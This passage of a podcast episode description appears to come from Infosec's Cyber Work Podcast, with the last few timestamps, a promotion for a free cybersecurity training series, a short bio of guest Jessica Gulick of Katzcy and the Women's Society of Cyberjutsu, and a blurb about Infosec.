42:05​ - Working with the Women’s Society of Cyberjutsu
49:58​ - What’s next for these gamified cyber events?
52:20​ - Outro

Have you seen our new, hands-on training series called Cyber Work Applied? Tune in as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/ 

– Try our Choose Your Own Adventure® Zombie Invasion game: https://www.infosecinstitute.com/iq/choose-your-own-adventure/ 

– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Jessica Gulick is CEO of Katzcy, a woman-owned growth firm specializing in cybersecurity marketing and cyber games. She is also President of the Board at the Women’s Society of Cyberjutsu, a 501c3 dedicated to advancing women in cyber careers. Jessica is a 20-year veteran in the cybersecurity industry and a CISSP.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

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